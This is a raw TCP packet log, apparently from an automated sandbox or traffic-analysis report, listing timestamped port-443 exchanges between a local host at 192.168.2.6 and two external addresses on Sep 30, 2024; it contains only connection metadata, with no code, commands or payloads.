Sep 30, 2024 09:57:26.039525986 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.039551020 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.039566040 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.039825916 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.039840937 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.039897919 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.039905071 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.039951086 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.041578054 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.041593075 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.041651964 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.041661978 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.041708946 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.121661901 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.121682882 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.121906996 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.121917009 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.121939898 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.121959925 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.122042894 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.123586893 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.123604059 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.123720884 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.123728037 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124453068 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124471903 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124521971 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.124526978 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124556065 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.124897957 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124916077 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124967098 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.124973059 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.124996901 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.126415014 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.126431942 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.126485109 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.126491070 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.126516104 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.128413916 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.128432989 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.128485918 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.128490925 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.128516912 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.128616095 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.128633022 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.128674030 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.128679991 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.128710985 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.170944929 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.210427999 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.210452080 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.210623026 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.210652113 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.210669994 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.210690022 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.210716963 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.210747957 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.212129116 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.212143898 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.212204933 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.212212086 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.213104010 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.213123083 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.213170052 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.213176012 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.213190079 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.213506937 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.213521957 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.213628054 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.213634968 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.214711905 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.214730978 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.214776993 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.214782000 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.216789007 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.216803074 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.216851950 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.216859102 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.217056036 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.217073917 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.217113972 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.217119932 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.217139006 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.264759064 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.299175024 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.299206972 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.299283028 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.299333096 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.299346924 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.299381971 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.299438000 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.300525904 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.300543070 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.300605059 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.300614119 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.301541090 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.301573038 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.301609993 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.301615953 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.301641941 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.301928043 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.301944971 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.301990986 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.301997900 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.303262949 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.303277969 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.303333044 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.303338051 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305269003 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305286884 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305344105 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.305351973 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305509090 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305521965 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305562973 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.305569887 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.305596113 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.358458996 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.387633085 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.387658119 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.387770891 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.387794018 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.387864113 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.387912035 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.387928963 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.387967110 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.387974024 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.388092041 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.388092995 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.388955116 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.388971090 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.389031887 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.389039040 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.389084101 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.390021086 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.390059948 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.390121937 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.390130997 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.390182018 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.390505075 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.390522003 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.390574932 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.390582085 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.390620947 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.391700983 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.391719103 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.391773939 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.391782999 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.391823053 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.393627882 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.393645048 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.393699884 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.393707037 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.393748045 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.393980026 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.394000053 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.394054890 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.394062042 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.394104958 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.475980043 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.476006985 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.476140976 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.476174116 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.476188898 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.476207018 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.476239920 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.476246119 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.476279020 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.476309061 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.477561951 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.477577925 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.477638006 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.477646112 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.477693081 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.478792906 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.478810072 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.478876114 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.478883028 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.478931904 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.479114056 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.479135990 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.479172945 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.479177952 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.479204893 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.479219913 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.480230093 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.480297089 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.480303049 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.480319977 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:26.480362892 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.482778072 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:26.576102972 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:26.576164961 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:26.576268911 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:26.576793909 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:26.576812029 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.139755964 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.139878035 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.143059015 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.143074036 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.143335104 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.144251108 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.187403917 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.621692896 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.621742010 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.621774912 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.621829987 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.621853113 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.621896029 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.626152039 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.626403093 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.626457930 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.626466036 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.634607077 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.634639978 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.634671926 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.634681940 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.634690046 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.634708881 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.656217098 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.656313896 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.656326056 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.656388998 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.656436920 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.656440020 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.656445980 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.656485081 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.656991005 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.657041073 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.657077074 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.657088041 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.657094955 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.657130003 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.714792013 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.714874983 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.714909077 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.714941025 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.714940071 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.714961052 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.714988947 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.715769053 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.715825081 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.715832949 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.716309071 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.716367006 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.716373920 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.716886044 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.716918945 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.716958046 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.716980934 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.716988087 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.717003107 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.717611074 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.717639923 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.717663050 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.717670918 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.717715979 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.746057034 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.746119022 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.746151924 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.746181965 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.746190071 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.746198893 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.746231079 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.747081041 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.747143030 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.747149944 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.747198105 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.747939110 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.747972012 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.747994900 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.748003960 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.748064995 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.748064995 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:27.748825073 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:27.748887062 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.823957920 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824018002 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824050903 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824095011 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824119091 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824142933 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824155092 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824160099 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824204922 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824208021 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824218035 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824251890 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824256897 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824263096 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824290991 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824291945 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824330091 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824337006 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824342012 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824366093 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824373960 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824379921 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.824405909 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.824429989 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.830265045 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.830338955 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.830401897 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.830461979 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.831157923 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.831232071 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.832042933 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.832103014 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.832293034 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.832391977 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.833163977 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.833225012 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.834009886 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.834064960 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.834849119 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.834902048 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.835691929 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.835752964 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.835777044 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.835829020 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.836678028 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.836735010 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.837968111 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.838020086 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.838773012 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.838829041 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.839044094 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.839092970 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.839987040 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.840045929 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.840770960 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.840825081 CEST	49719	443	192.168.2.6	188.114.97.3
